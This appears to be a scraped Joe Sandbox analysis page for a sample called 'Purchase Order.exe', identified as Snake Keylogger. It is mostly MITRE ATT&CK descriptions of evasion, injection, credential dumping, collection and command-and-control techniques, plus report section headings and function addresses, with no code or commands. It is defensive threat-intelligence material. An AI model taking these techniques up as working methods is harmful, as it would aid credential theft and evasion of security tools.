Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Purchase Order.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Purchase Order.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
Purchase Order.exe

Function 094BA280 Relevance: 2.7, Strings: 2, Instructions: 178
COMMON

Function 0586BD08 Relevance: 2.7, Strings: 2, Instructions: 158
COMMON

Function 094BD5AA Relevance: 2.5, Strings: 2, Instructions: 48
COMMON

Function 094B296B Relevance: 2.5, Strings: 2, Instructions: 45
COMMON

Function 05300F8D Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Function 05300F98 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 0190ADA8 Relevance: 1.7, APIs: 1, Instructions: 210
COMMON

Function 0190590C Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Function 019044C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 05300D09 Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Function 05300D10 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 05300B70 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre